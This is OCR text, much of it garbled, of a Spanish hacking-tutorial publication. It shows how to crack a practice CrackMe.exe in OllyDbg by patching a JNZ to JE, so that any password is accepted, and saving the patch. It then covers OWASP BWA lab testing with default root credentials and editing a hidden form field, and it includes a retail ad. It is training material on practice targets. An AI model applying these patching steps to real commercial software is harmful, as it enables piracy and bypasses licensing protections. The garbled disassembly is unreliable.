G Sibiotecas debe hacer doble 
+] Documentos - ` 
El imágenes clic sobre el archivo 
Aca CRACKME.EXE. Se 
alicia aconseja colocar 
Se u paren cualquier cifra dentro 
: z 
i del campo contraseña, 
Red 
tal como se muestra 
en la imagen, lo cual 
mostrará un mensaje 
indicando que el 
password no es el 
correcto (conocido 
CRACKME Estado: 2% Compartido Tamaño: 5.00 KB Compartido con: Todos a menudo como 
Aplicación Fecha de modifica... 23/12/2001 02:34 p.m. Fecha de creación: 06/04/2018 10:50 a.m. BAD BOY) Termine 


presionando Aceptar. 


a 


Nombre Fecha de modifica... Tipo 

Le odbg110 06/04/2018 01:35 ... Carpeta 
Z CRACKME 23/12/2001 02:34.. Aplicacic || 
Z CRACKME-COPIA 23/12/2001 02:34...  Aplicacic 








rra 
Nombre: [CRACKME = Ejecute la herramienta OllyDbg como 
[Executable fie exe} >| Cancelar | administrador (en la que se refleje la 


configuracion inicial vista en el Paso a paso 
anterior, que incluye la definicion de rutas). 





BH WE PES 5 
. ÉS 27030000 











CGetCommandL ineA 






. ES 17030000 EME 
. AS 00314000 > CRACKNE. 




























. 6A BA PUSH BA Arg4 = ØAHAHÖHA 

. FF35 99314000) PUSH DWORD PTR DS: [403100] Aras = 00AABAAA pin 
6A 66 PUSH B Arg2 = ØOAAAAAG I GOBBBAMRA 

. FF35 FC304900|PUSH DWORD PTR DS: [4930FC] Aral = OBBBBABA O0BAGO0Ó 

. ES B6BBBBDa 00401031 rta 


ExitCode EIP 00401000 CRACKNE. 






. 59 
: + F1020000 ExitProcess 





























CO ES 0828 32bir alí 

MOU EBP, ESP AO So poB Sobit Di 

-ail E Se nay Honea oC 21 DS 0828 32bit at 

| 20401037] : DO 300001 MOU DWORD PTR SS: CEBP-30],30 SB. ES Goes Sonia TE 

0948103 ||. : [EBP- TO GS 002B 32bit Bl 
aat DE 00000 DB 

L . a 7, E vim Te 4, J ¢ 

00401053 . EO 180001 MOU DWORD PTR SS: 08. LastErr ERROR_ZSS 

BB4BL1BSA IN. FC304000 EFL 000900246 (NO,NB,E 
loo401060 ||: eras x 

TIOS : pets 0 


Desde OllyDbg abra el sedal ininde el menú Abrir y luego presione (solo una vez) 
sobre el botón PLAY, ubicado en la barra de herramientas de la interfaz. 
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dfe OllyDbg - CRACKME.EXE - [CPU - main thread, module CRACKME] a 
File View a opne Window wip Asim 


EA CA 
AA : AS FC304000 
g949109C|| . ES 17830000 
00461011 . AS 90314000 
09401016]. 6A BA PUSH 
. FF35 90914000) PUSH D 
: Pras Fcseaa0a| PUSH Du 
* ES 06000000 Assemble 
Label 


P 
3 AOD ESP! Comment 
osolosc ||: C74 D4 630001 N ; 
a 4118 ~i 
p405. Breakpoint 
6048194C|). aaa ‘ 
80301 0¢8 . ESAE ES Hit trace 

PUSH D 


9046105A|| . FF35 FCI 


00401060||. 8F45 E4 Run trace 
pe . M DWO 
610 eS 


Goto 


View call tree 


Search for 





View 





69401999|| . Copy to executable 


BB4B1GABI. PUSH 64 
B04B018R0||. . 
904819B2||- H Analysis 


- rf er 5 

Ba ġo 06 % D 
D 86 88 00 BB a 
O 00 00 00 bE 

86 86 00/90 


PUSH 6 
bes DWORD PTR SS: [EBP-8],CRACKME. 004030 ASCII 


H CRACKME. 00403008 
CRACKME. 00403000 
CRACKME. 00403014 
CRACKME. 00403020 
CRACKME. 00403019 
CRACKME. 864638C2 
CRACKME. 86463GBB 
CRACKME. 00403020 
CRACKME. 00403026 

SH CRACKME. 00403055 

USH CRACKME. 00403207E 

CRACKME. 864636SE 

E JSH_CRACKME. 00403087 


- CRACKME. 00403080D 
00401298 PUSH CRACKME. 86463GF7 
00401290 PUSH CRACKNE. @64638C7 


"Crackme > "pts 
ame = IDI_APPLICATION ST3 empty 
H = NULL > 

Follow in Dump 


J eS s ernel3 
| ale ECX 00900096 
EDX Sr CRACKNE. 
BX 7TEFDEGO 
DO LeFFSC 


P BBLSFF94 
SI 00009000 
90009090 
00401000 CRACKNE. 
CO ES 002B 32bir GI 
= bit Øl 
rit Bl 
bit al 


8S 002B 32bit Bl 


O LastErr ERROR_S; 

00000246 (NO, HB, E 
STO empty 0.0 
1 empty 0,0 
” ST2 empty 8.8 
8.6 
empty 0,0 


A STS empty 4.9 


ST6 empty 8.9 
ST7 empty 9.9 


321 
ame = IDC_ARROW FST 0000 Cond GOB 
= NIM > NIO VON AR, E 





Find references to 





Name (label) in current module Ctri+N 


Name in all modules 


Command 

Sequence of commands 
Constant 

Binary string 


All intermodular calls 

All commands 

All sequences 

All constants 

All switches 

All referenced text strings 


User-defined label 


User-defined comment 


rolas 

"Crackme 1.0” 

"Crackme” 

"o H t ” 

"Check” 

"button” 

” 1 n f o” 

"button” 

I "Password:” 
"static” 
"cannabis” 
"Correct t” 
"ou entered the right passwordt” 

E "Nope! ” 


"May 
i ”Info’ 


A continuación, es 
necesario efectuar la 
búsqueda del texto 
expuesto tras ejecutar 
el crackme con un 
password incorrecto 
(Maybe, you should 

try again, it’s sooo 
easy!!). Para esto, haga 
clic derecho sobre 
cualquier espacio del 
desensamblador y siga 
la ruta: Search for/All 
referenced text strings. 


be, you should try again, it’s sooo easytt” 


"Coded in win32asm by Miele. Greetz to Dettent* ” 


Debe centrarse ahora en la línea que señala al BAD BOY (con el texto Maybe, you 
should try again, it's sooo easy!! en la dirección 0040126E). Proceda con un doble clic. 


Prevención 


Como podemos imaginar, no existe ningún tipo de prevención para efectos de cracking, pero sí se 
pude prevenir el hecho de ser víctima de algún malware proveniente de la modificación ilícita de las 


herramientas de software privativas que habitualmente se descargan de Internet. Esto se consigue 
evitando descargar software de terceros, y no ingresando en foros o ciertas comunidades que 
buscan engañar al usuario final. 
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0040127 
8846122C 
0040122E 


00401243 
00401248 
88481240 
9046124F 


“eevee ee vere se eae 


SHR EAX, 10 


400 PUSH CRACKME. 00403037 
A P hlind = NULL 
GetWindowTextA 
String? = = abs? 
Stringi = »” 


Count = 1E (30.) 
[ey = CRACKME. 00403037 


USH CRACKME. 00403055 
PUSH CRACK 86463837 
_OR_EAX, ERX 


fent = = "Maybe, you should try again, it’s sooo easytt” 
Uwner 

al Malet 

Te; “y a 
[ning = = NULL 

Seti indowlextA 


75 33 
C1E8_ 10 





Analice tanto el string que dice: You entered the right password (ubicado en la dirección de 
memoria 00401258), como la instrucción JNZ (0040124F), la cual representa un salto a la 
dirección 00401267 (salto encargado de decidir si aparecerá el conocido BAD BOY o GOOD BOY). 


00401122E 
00401233 
00401239 
00406123E 
88461243 


66461251 


VOOG 


a 
ay 
a! 


IDO AO i 
OG 


q, 
a 


oo 
LRN ERN ERNE RN 
MBIOOOOogaQgag« 


VO oogoqgc 
a 
ay Qe 
= 
a 


Y CO OD 
DD DD 00 00 CO OO ~N ~ 
un] 


eS 1 W Y Ww le 
YADA ONO 
Od Le MO WOO Ww oT 20 UU 


8 37304000 
ES E7oog800 
, BBCO 
overs 16 


6A 86 
68 7E304000 
68 S5E304000 


FF75 08 

ES 300009009 

EB 21 

69 a 

68 87304000 
. 68 80364000 

FF7S 68 

ES 77000000 

6A Ba 

66:3D 2F01 

75 33 


CiES 16 
66: 0BC8 
75 14 





6A 00 
68 F7304000 | PUSH CRACKME. 004030F7 
69 C7304000 














Buffer = CRACKME, 664 
hiing = NULL 
GetWindowTextA 

hed ibs = “cannabis” 


es OK} MB APPLMODAL 
orrec 
PUSH CRACKME. 00460305E You brad the right passwordt” 


PUSH DWORD PTR SS: [EBP+8] 


Style = NB- OK; MB_ APPLMODAL 

Title = ”Nopet 

pes = maybe, you should try again, it’s sooo easy?” 
lecanssins 


PUSH @ 
PUSH CRACKME. 00403087 
PUSH O BIR ESTER 


ss: +8] 


IDHOOM DVO 
00D En 


Ti 
ma. 


hind = NULL 


PUSH CRACKME. 004030607E En 
[ee EE 


1010000000000 m 
Y A A HH 
© 


“O01 & oon i 


ane OK i MB_APPLMODAL 


PUSH CRACKNE . 004030C7 "Coded in winS2asm by Miele. Greetz to Dettentt ” 


Tras este análisis, deberá agregar un BreakPoint (BP) con la tecla F2 sobre la dirección 0040124F. 
La función del BP es detener el proceso, para poder realizar otro análisis. Presione F9 (o PLAY) 
para ejecutar el crackme. Agregue la clave con la que se ha propuesto jugar: 271114. Luego del 
mensaje de clave incorrecta, haga clic sobre el botón Check y analice lo que sucede. 


. 7304000 
. PESE E 8431400] PUS 
Es A20000OG 


> 68 37304000 | PUSH 
ES 


G 
Eé: OBCO 
7S SC 


. | 6A 00 
- | 68 7E304000 


68 SE304000 


- |FF7S 08 
. [ES SD4BABOB 
EB 21 


- 68 8D 
FF7S_08 


6A 90 P 
68 87304000 | PUSH C 


304900 


> ES 77000900 


. FESS 943148 PUSH D 


5 66:30 2F01 
: CiE8 10 
66:0BC0 


. 6A 00 
- 68 F7304000 
68 C7304008 


012 
00481 2C x 
0940120 3 . 











Observe que, una vez que 
oprime el boton Check, el 
proceso se detiene en la 
direccion 0040124F y, por 

lo tanto, OllyDbg se encarga 
de mostrar la palabra Pausa 
(sombreada de color amarillo) 
sobre la parte inferior derecha 
de la interfaz. El programa 

se ha detenido justamente 
sobre el BP agregado. En este 
punto se puede deducir que: 
JNZ: salta si Z=0 y No salta si 
Z=1 (nomenclatura señalada 
en la sección de registros de 
OllyDbg). 


C ount = 1E (39.) 

Buffer = CRACKME. 00403037 

hind = 00170604 (class=’Edit’,parent=8825859C) 
GetWindowTextA 

Strine2 = "cannabis” 

Stringi = "271114" 

istrompA 





Sty le = MB_OK i MB_APPLMODAL 


PUSH CRACK 
USH CRACKHE, 0040307 
HH DWO SS BP+S 


Title = "Inf 
ree Ke = "Coded in win32asm by Miele. Greetz to Dett 
Owner 


MessageBoxA 


[Param 
wParam 
Message 


| ty le = ES APPLMODAL 


PUSH DWORD PTR Ser REBRI 

PUSH peono PTR aot EER tos pass 
yA - SS writ 

DefWindowProcA 
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SME 


LA 
. DU A A a 
004030 


AG 


PUSH CRE 
PUSH CRA 


OR_EAX, EAX 


aa M AB een 
6046123E 
ESTAS 


68 55304000 
68 37304000 
. ES E7D0BBBa 
< BBCO 

ave?S 16 

. | 6A 00 

68 7E304000 
68 SE304000 
FF75 08 

ES 800000009 
EB 21 


" A 


PUSH CRACKME. 6040307E 


g 
PUSH CRACKME. 00403087 
PUSH CRACKNE. yee 


6A ua 

68 87304000 
68 80304000 
FF7S 08 

ES 77000008 
6A 86 


P DWORD PTR OS: 
gate 1 283 CMP AX, 12! 
6646128C JT 


PUSH CRACKME. gg 
5D 46 


CALL £ : 


“cannabis” 


= "Corre 
Text 


huner ain 


Title 
hOwner noy 


hind = = NUL 
o dindootentA 


EE 
E 
E 
( 





te = a mea MB_APPLMODAL 


Text = "May a you should try again, it’s sooo easytt” 


MEL OK: m8, APPLMODAL 


= "You ana the right password!” 


ODHOND VO 


ww m 


Presione la tecla F8 para conocer la siguiente linea a ejecutar (proceso conocido como traceo, 
ya que expone la ejecucion linea por linea). El salto para este caso se ve transpuesto hacia la 
direccion 00401267, punto en el que se ejecuta el MessageBoxA de BAD BOY. 


. o truvo 
. OBCO 
.vr?5 16 


PUSH A 

PUSH CRACKME. 00403007E 

> | Bust Si dal oo > 
JSAH—UWORO PIR SS =BP+& 


68 753040908 


0125 . 
004012 253 

> = 5 62 SES 201000 
ime 5 


4 an PUSH A ss 
68 37304000 |PUSH CRACKME. 00403087 
6 S8 204000 | PUSH CRACKME. a an 

50 


PUSH @ 
PUSH CRACKNE, DO430C? 
PUSH DWORD PTR EBP+8 


WOR : P+147] 

PUSH DWORD PTR $8! [EBPs 0] 

AE DWORD PTR SS: Ee : 
$ + 


. 68 37304000 
. ES E7000008 
. BCO 

4475 16 

- | 6A 86 


5 E PUSH CRACKME. 00940307E 


PUSH CRACKIE » 20040305E 
PUSH DWORD PTR SS: [EBP+8 


. CIES 10 

: E3 Cr opoeo | PUSH CRA nce 
Sil. ES 439000090 
Es necesario recordar 
que: JNZ: salta si Z=0 
y no salta si Z=1. La 
bandera Z es la flag, que 
decide si JNZ se activa 
o no. En este caso se 
propone modificar el 
valor de la bandera de un 
valor cero (0) a uno (1) y 
así comprobar si salta o 
no. Como es de esperar, 
se muestra un texto en 
la parte inferior que dice: 
Jump is NOT taken (es 
decir, que no saltará). 


1 
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ES 
Text 
Mes 


MessageBox 
[ ext 





1 


style = ne- oe e ¿APPLMODAL 
itie = 
ar 


p ed the right password!” 
hOwner 

sageBoxA 
vie = A 


= Y ybe, you should try again, it’s sooo 


hind = OBISOSFA (olass="Edit”,parent=002C038A) 
SetWindowTextA 


= CRACKNE. 0040: 3837 
nd = 001 985FA {i lasse’ Edit’ ¿Parent=052C038A) 


LOK i MB APPLMODAL 
e = "Corre ct?” 
You entered the right password?” 


hOwne 
MessageBoxA 
Style = MB- OK! iMB_ APPLMODAL 


Title = 
*3 S000 east 


hind = @@1985FA lola 
SetWindowTextA 


ss=*Edit” ,parent=002C033A) 


Style = = MB_ ‘a MBL APPLMODAL 
Title = "In 

Text = 
hOwner 
MessageBoxA 


"Code d in win32asm by Miele 





Para validar que no se 
efectuara algun salto, 
proceda a tracear con 
la tecla F8. De este 
modo, verá la siguiente 
línea que se ejecutará 
(00401251). En este 
punto puede presionar 
F9 o PLAY. El resultado 
es el GOOD BOY. 


Ahora pulse F9 o Play y observe 
que debe aparecer el BAD BOY. 
Acepte el MessageBox del BAD 
BOY e ingrese otra vez la clave 
271114; haga clic en Check. Otra 
vez se detiene en el BreakPoint 
sobre la dirección 0040124F. 

En este punto es donde se 
decide si se efectúa un salto al 
BAD BOY o, en su defecto, al 
GOOD BOY. En este caso el salto 
es hacia el BAD BOY. 


De0al 


rs b a 
06 LastErr ERROR_SUCCESS (00000090) 


EFL 0009B2C6 (NO, MB,E,BE,S 


STO empty 8.0 
STi empty 8.0 


S, PE, L. LE) 


Greetz to Dettentt ” 


Una vez OT la 
forma de efectuar 

un salto condicional 
utilizando un crackme, 
será necesario 

Ilevar a cabo un par 

de modificaciones 
adicionales, con el fin de 
hacer válida cualquier 
clave de acceso que el 
usuario quiera ingresar, 
aun cuando esta no 

sea correcta. Para esto 
procedamos con el 
siguiente Paso a paso. 


13: 


Desensamblar un crackme.exe. Segunda parte 


6A 00 PU 
FF35 64314000) PUSI 
Es 82000000 


FF35 04314000| PUSH DWORD 
22000900 


LAG AAT D6 F— ODOR ME Muda Seo 


c9 
c2 1000 


PUSH CRACKME. 004032307E 
PUSH et ates 0040305E 


R SS: [EBP+14] 
PUSH DWORD PTR SS: CEBP+101 


H DWORD PTR SS: [EBP+C] 


CMP AX, 120 
SHR EQU p 


PUSH CRACKNE. 00403037 


PUSH CRA E. 90483895 
PUSH CRACKME. 00403037 
OR_EAX, EAX 

PUSH 
PUSH CRACKNE. 09040307E 
PUSH CRACK ME. 8 1040397 


DWORU 


PUSH CRACKME. 004030F7 


ZUHP. gi I Fill with NOP's 





PUSH CRACKME. 004030C7 


PUSH CRACKIE « 90493058 
PUSH D JORD PTR | 


PLUSH a 


PUSH CRACKME. 0049308 


PUSH CRACKME. ieee red ; 


PUSH DWORD PIR 
PUSH @ 


PTR DS: 


PUSH CRACKME. 004030F7 
PUSH CRACKME. Leet an 


PUSH DWORD PIR 


as 


PUSH À PIR 


PUSH CRACKME. 004030F 


Kuan CRACKNE « 004030? 
PTR BP +E 


Password: 


271114 


- - -3 ¿ 
PUSH DWORD PTR SS: tEBP+101 
PUSH DWORD PTR SS: CEBHE] 





Si OR P+ 
PUSH DWORD PTR SS; LEBP+101 
PUSH DWORD PTR SS: CEBP+C] 





Lo que debe hacer ahora es 

9202001 modificar la linea de instruccion 
Ear a) ese sais JNZ situada en la dirección 
0040124F, e indicarle al programa 
que cualquier palabra que desee 
ingresar, sea considerada como 
clave válida. Para esto, seleccione 
la línea a modificar, que en este 
caso se trata de JNZ (ubicada en 
la dirección 0040124F). Haga 
doble clic sobre la instrucción que 
va a modificar, lo que dará como 
resultado la apertura de un cuadro 
titulado Assembler at 0040124F 
(la dirección es diferente para 
cada equipo). En este punto 
puede agregar la instrucción 
contraria a JNZ; es decir: JE. 


ount — A 
= 00403037 
hind = ooo. iclass=’ 
GetWlindowTeneA 
String2 = nabis” 
pra = "271114" 


= MEL OK} MB- APPLMODAL 
e = "Correct 
= "You se cered the ric 
her 


DO <NrnDDA 


7 


“¡RAND r 


MB_ OK }MB_ APPLMODAL 
"Nope 


empty ø 
» you should 1 ph sbi 


empty Ø 
empty 
empty 
empty 
empty 6 


ho ner aon 


y tind -- = deltasce (class="Ed 
tWlindowTextA 


empty 
empty 


4020 
0272F 


DONDOO m 


O HHH 


Style = MB_OKiMB_APPLMODAL 
Title = ”Info” 

Tent = "Coded in win32asm t 
hOwner 
Mes 


sageBoxA 
[Param 
wParam 
Message 


Count = AE (30. 

Buffer = RACRNE. 00403037 
hWnd = 20100586E (class=’ Ed{ 3 E ESI 
GetWindowTextA 
String? = “cannabis” 
Stringi = "271114" 
lstrompA 


Style = = NB_ OKIB APPLMODAL 
Title = "Correct? 


Proceda a cambiar el codigo. 

Para esta tarea, sustituya JNZ 
SHORT Direccion, por: JE SHORT 
Dirección. Después haga clic sobre 
la casilla de verificación Fill with 
NOP. Finalice pulsando sobre el 
botón Assemble. 


OO (0 riD"TDO 


MB_ oe MB_APPLMODAL 
Title "Inf 
"Coded in win32asm t 


Sty le 


Test = 
A 


00401 


Observe que, tras esta última 
acción, la fuente de la instrucción 
modificada cambió a color 
rojo. Comience a presionar F9 
para verificar si la modificación 
tiene algún efecto. Para esto, 
ingrese como clave: 271114 
(aunque se entiende que esta 
no es la clave correcta); la 
modificación debería enviar el 
MessageBox del GOOD BOY. 


Mow wo oO w 


> 

or 
© ow 
Dn 
O a 


STO empty 
empty 
ST2 empty 
STS empty 
` enpty 
215 empty 
> empty 

7 empty 


4020 
B27F 


Style = MB_OKiNB_APPLMODAL ^ 
Title = "Correct?” 

Text = "You entered the ric 
hOwner 


Title = ” 

Text = mabe. you should 1 | 
hOwner 

MessageBoxA 

Text = NULL 
[niin = BB1GB86E (class="Ed 
Set indowTextA 


Style = MB OK (NB APPLMODAL ¡> 
| Luego de presionar sobre el 
boton Check, el proceso se 
detendra en el BP. Pulse la tecla 
F8 para ver cual seria la siguiente 
instruccion que se ejecuta. Como 
puede observar, no se produce 
el salto, pero para conseguirlo es 
necesario presionar F9 o PLAY. 


m 
00 10 00 00 0000 > € 


Style MB_ OK i MB_ APPLMODAL 
Title "Info” 
Text = "Coded in win32asm t 
hOwner 
MessageBoxA 


[Param 
wParam 
Message 
hiing 


Def indowProoA 


STB empty 
empty 

2 empty 

3 empty 
empty 

5 empty 
TÉ empty 
í empty 


4020 
a27F 
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Generacion de parches 


Para crear un parche desde un depurador, en 
este caso sobre OllyDbg, hay que seleccionar 
todas las lineas sobre las que se han efectuado 
cambios durante el proceso de depuracion, y 

asi proceder a guardarlos en un nuevo archivo 
ejecutable que será el reemplazo del original. El 
procedimiento se presenta en el siguiente Paso a 
paso, que deriva del anterior. 


Parche 


Es la copia enriquecida de un archivo que ha 
sido expuesta a pruebas de ingeniería inversa. 


Esta copia refleja los cambios efectuados 
durante el proceso de modificación del código 
fuente. Esto sugiere que el nombre del archivo 
copia sea distinto del original. 





“SHORT CRACKME . 06 Backup 
PUSH CRACKME. 0040307 Backup 


PUSH CRACKNE. 6649305 


P 
PUSH CRACKME. 0040308 
PUSH CRACKNE. 6049308 


Copy 


Binary =) —.| EBP 8018FBF4 
ESI 00481115 CRACKNE. 804901115 
Undo selection EDI 00000009 
EIP 00401265 CRACKNME. 60401265 
Assemble CO ES 0628 32bit G(FFFFF 
cs 


Label 


Copy 
Binary 
Assemble 
Search for 
Save file 


> l] 
S S 3 32 7EFDOGOD( ) 
Comment ; 3 GS 3 22bit B(FFFFFFF 
06 
Breakpoint O Ø LastErr ERROR_SUCCESS (00090900) 
(NO, NB, E, BE, NS, PE, GE, LE) 


Go to offset 


| : View image in Disassembler 
PUSH CRACKNE. 004030F Hit trace 
34009 | PUSH CRACKME. 6049390 

PUSH DWORD PTR SS Run trace Hex 
i : Text 


Short 


ooo ® 


nn? 
O 333233333 
Jt DDODDOODOODO 
5 EERE 
ececee 


PUSH DWORD PTR SS: [E 
PUSH DWORD PTR SS: [E Follow 
PUSH DWORD PTR SS: CE 


wo 
<< 


New origin here 
Goto 


Long 
Float 
Disassemble 


Special 


Appearance 


Follow in Dump 


Search for 
Find references to 


View 





Copy to executable 
Analysis 


Appearance Como se puede observar, 


Las preguntas que debe plantearse en este punto son: ¿cómo este punto se encarga de 
guardar la modificación anterior y cómo conseguir que se mostrar todo el código del 
ejecute sin problemas? Para lograrlo, es necesario hacer crackme, así como también 
clic derecho en la dirección 0040124F (donde se ubica la la última modificación 
instrucción JE, que representa la línea modificada de color efectuada. Proceda 


rojo) e ir a Copy to executable-> Selection. a hacer clic derecho 
sobre cualquiera de las 


instrucciones expuestas y 
diríjase a la opción Save file. 








Organizar v Nueva carpeta 


Password: 


PRUEBA_USERS 


A 


3 Bibliotecas = 
1 Documentos 
‘| Imagenes 
A Música 
H Videos 


Nombre Fecha de modifica... Tipo 





Je odbgl10 19/03/2017 06:17 ... 
Z CRACKME 23/12/2001 03:34... Aplicación 
Z CRACKME_COPIA 19/03/2017 06:17 ... Aplicación 
63 Leccion 13 HARDCODED 2 03/12/2005 06:42... Aplicación 


Carpeta de archivos 


You entered the right password! 


(™ Equipo 
& Disco local (C:) 
@ Unidad de BD-RC 
EJ Unidad de BD-RC 














Nombre: ALETA Cierre OllyDbg, ejecute 
Tipo: el archivo CRACKME _ 
S) Ocultar carpetas PARCHE.exe y coloque 
cualquier password; en 
Al momento de almacenar el parche, considere un nombre este caso, PRUEBA _ 
válido, además de una ruta adecuada para su fácil acceso. En USERS. Esto tiene como 


objetivo validar si se 
ejecuta sin problemas. 


este caso, sobre la misma ruta donde reside CRACKME.EXE, 
guarde el parche como CRACKME_PARCHE.exe. 
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AU PUEDES 
ENCONTRARLO! — 





© TODOS LOS PRODUCTOS 
LANZAMIENTO = USERS Y USERSLife, 
l 
EXCLUSIVO! les [27] INCLUSO LOS AGOTADOS 
BedUSERS de 
+ RETIRO EN LOCAL. 
a ENVIO A SUCURSAL 
MM RedUSERS 0 A DOMICILIO 


CADA SEMANA 
UN TEMA DE 
ACTUALIDAD 

d 


© MULTIPLES MEDIOS 
DE PAGO 


© OFERTAS EXCLUSIVAS 





información : 
visa JE 
Q me (=) 
Slectron 
XOCA 





GB) usershop.redusers.com 


¡TE ESPERAMOS! © =nom 


usershop@redusers.com 
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Pruebas de pentesting 
con OWASP BWA 


Este proyecto esta orientado a la labor del pentesting. Es una guia de exploracion 
de la distro OWASP BWA para la identificacion de vulnerabilidades e implementacion 
de medidas de seguridad en entornos web. 





El entorno OWASP BWA 


Un recurso vital que no puede faltar en la Este proyecto tiene como objetivo principal 
biblioteca de ningún hacker se llama OWASP hacer entender al usuario todo sobre seguridad 
Broken Web Applications Project (Proyecto web desde un enfoque practico, ademas 
OWASP de Aplicaciones Web Rotas). Se trata de de probar y analizar los diferentes tipos de 

una colección de aplicaciones web vulnerables aplicaciones web. OWASP BWA es una de las 
que son distribuidas dentro de una máquina herramientas de seguridad más populares del 
virtual en el formato VMware, compatible con mundo y se mantiene activa por cientos de 

el producto sin costo VMware Player y VMware voluntarios internacionales. 


vSphere Hypervisor (ESXi). 


(EY OWASP_Broken_Web_Apps VM_1.2 - VMware Player (Non-commercial use only) 


Player ~| JJ ry IM 


You can access the web apps at http:7/192.168.89.1307 


You can administer / configure this machine through the console here, by SSHing 
l o 192.168.89.130, via Samba at \\192.168.89.130\, or via phpmyadmin at 
En esta imagen se http://192.168.89.130/phpmyadnin. 


muestran tanto las 
credenciales como la 
dirección IP para el ASP Broken Web Applications UM Version 1.2 
acceso a la herramienta Log in with username = root and password = owaspbwa 
OWASP BWA. owaspbwa login: root 


Password: 
You have new mail. 


In all these cases, you can use username “root” and password “owaspbwa”. 


elcome to the OWASP Broken Web Apps UM 


ttt This UM has many serious security issues. We strongly recommend that you ru 
it only on the “host only” or “NAT” network in the UM settings ff! 


ttp://192.168.89.130/ 
a 54 E > . K aA 
ee SER A NON SENN NS 


y 
Sere 





OWASP (Open Web Application Security Project) 
BWA (Broken Web Applications) 


Es un recurso utilizado por los pentesters a los efectos de demostración. Esta compuesto por un conjunto 
de aplicaciones vulnerables que sirven de guía al usuario para detectar puntos débiles en entornos web. 
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Uso de Firebug 


OWASP BWA está integrado por multiples recursos para realizar 
pruebas. Uno de ellos es Firebug, una extension para navegadores 
que permite analizar los componentes que estan dentro de una 
pagina o sitio web (como tablas, frames, clases, imagenes y videos, 
entre otros) e incluso, alterar el comportamiento de una aplicacion. 
En esta ocasion, se propone realizar el siguiente procedimiento 
para analizar una pagina web con Firebug. 


S Debian 7.x 64-bit - VMware Player (Non-commercial use only) 


Player + | Jv DHS 


pplications Places System 


EJ OWASP Mantra | Web applic... x 


may |) Www.getmantra.com 
mantra 


OWASP Mantra 


OWASP Mantra was first launched in ClubHACK 2010. At one point in time, we made it to official 
repositories of two major pen-testing distributions - BackTrack and Matriux. There were thrilling 
moments when we go to conferences and people say 'we love OWASP Mantra’. Sometimes, we will be 
watching a PoC video or tutorial and there we spot Mantra and that used to take us to heavens. We 
would like to say thanks to all of you for using Mantra, for spreading the word, for all the support and 
motivation you gave us 


All good thing comes to an end. OWASP Mantra will no longer be actively developed or updated 


COAG ene te-H-e ¥ 


Player | I> co HE 


@ owaspbwa OWASP Broken ... y 
€ 3 Mi” |) 192.168.89.130 5000 - ENFO = E 


(OD OwASsP RailsGoat @OWASP Bricks 
@owas?P Security Shepherd OGhost 
© Magical Code Injection Rainbo @bWAPP 


©Damn Vulnerable Web Applicatio 


REALISTIC, INTENTIONALLY VULNERABLE APPLICATIONS 


@owasP Vicnum OWASP 1-Liner 
O Google Gruyere @uackxor 


Le WackoPickdl OBodgelt 
O cyclone O Peruggia 


COOP JAt0O-H. Yo» 


OLD (VULNERABLE) VERSIONS OF REAL APPLICATIONS 








Vulnerabilidad 


Es uno de los términos 
asociados a la metodología 


de análisis de riesgos. 
Consiste en los puntos 
débiles presentes en 
cualquier sistema o activo. 





Comience ejecutando la 
VM con Parrot OS instalada 
y abra la herramienta 
Mantra (navegador web 
especial, equipado con un 
conjunto de extensiones 
que facilitan el análisis 

y la auditoría web). Esta 
se invoca mediante la 
terminal de Parrot OS, 
tecleando el comando: 
sudo owasp-mantra-ff. 


Tras abrir dicho 
navegador (que incluye 
los respectivos add- 
ons oextensiones para 
análisis web), ingrese la 
IP asociada a la VM de 
OWASP desde la barra 
del navegador, seguida 
de un ENTER. Una vez 
dentro, haga clic sobre la 
aplicación WackoPicko. 
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Applications Places System Thu Feb 1, 19:14 
25 si A dei PIOLECL tau ts ¡Feb 1,1 


Lock Tab 
@ WackoPicko.com x € J @ Opened Tabs List » > 
fa~ |[ 192.168.89.130/wackq Undo Close Tab COHSHRET ia 
lb Closed Tabs List > 
Welcome to Wacko © resurrect this page... 


E Save Page As... 
On WackoPicko, you can share all you 
But that's not all, you can also buy the 5 
version of someone's pictures. WackoFy $4 Select All 


ew Backar 


Add to Search Bar... 


(3) View Page Source 
Create an account E View Page Info 


New Here? 


€ 
* 
+ 
4 
ta 
i 
3 
w 


Check out a sample user! inspect Element (Q) 

RefControl Options for This Site... 
spoof 

Or you can test to see if WackoP] Fireforce 


Fre Enep Dentro de la página haga 
#} Web Developer clic derecho sobre la caja 


Check this file: i i á : 
With this name: n Sl x% de texto Check this File y 
ET Proxy Tool seleccione Inspeccionar 
- anner . 
ying Form Target with dTa OneClick! elemento con Firebug j 


B, Target with Downthemall Esto permitira mostrar el 
- código fuente del campo. 


a 











What Is going on today? 


‘COHBOee6 


Send File 


Applications Places System 


@ WackoPicko.com 





oH Si |[Ì 192.168.89.130/WackoPicko 
Or you can test to see if WackoPicko can handle a file: 


Toggie elements controlled by All-in-One S 


Togale Sidebar and Toolbar: Left-click 


Toggle Toolbar Ctri+Left-click / 


Toggle Sidebar Shift+Left-clich 


Inherited from form 
/WackoPi...heck.php 


+ <script> 

= <form method="POST" action="/WackoPicko 
/piccheck.php" enctype="multipart/form-data"> html, body,  screen.css (line 14) 

Value="30080" name="MAX FILE SIZE"> div, span, 

object, 

iframe, hl, 
, h3, h4, 
, h6, p, 

With this name: blockquote, 

<input type="text" name="name"> pre, a, 

<br> abbr, 

<br> acronym, 

<input type="submit” value="Send File"> address, 

<tr> code, del, 


Check this file: 
<input type="file" namk4"userfile"> 
<br> 


Menu [Parrot Te.. [Zenmap ... Parrot Ter.. firefox (a. 


Ahora posicionese sobre la linea que dice: <input type=Hidden”...> y sustituya la palabra 
Hidden por la palabra text, seguida de un ENTER. Esta acción trae un valor numérico por default 
para la carga de archivos. Note que se ha intentado modificar el comportamiento básico de la 
página web, pues en vez de usar un input, aparece una caja de texto con una cifra. 
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< 


CG | @ Es seguro | https://login.live.com/login.srf?wa=wsignin1.O&rpsnv=13 &ct=15391074228&rver=7.0.6737.0&wp=MBL SS... OF a XD o 





GR ál 


B® Microsoft 


€ gil990 hotmail.com 


|_| Mantener la sesión iniciada 


He olvidado mi contraseña 


Iniciar sesión 


« div 
Styles 


Filter 


element.style { 


} 


input[type=" 
input[type=" 


Elements Console Sources Network Performance » 3 


passwordTextbox.textbox_onUpdateFocus } }”> 
<!-- ko withProperties: { 'fplaceholderText': 
placeholderText } --> 
<!-- ko template: { nodes: $componentTemplateNodes, 
data: $parent } --> 
<input name="passwd” type EY id-"i0118" 
autocomplete="off" class-"form-control” aria- 
describedby="passwordError loginHeader passwordDesc” 
aria-required="true” data-bind=" 
textinput: passwordTextbox.value, 
hasFocusEx: 
passwordTextbox. focused, 
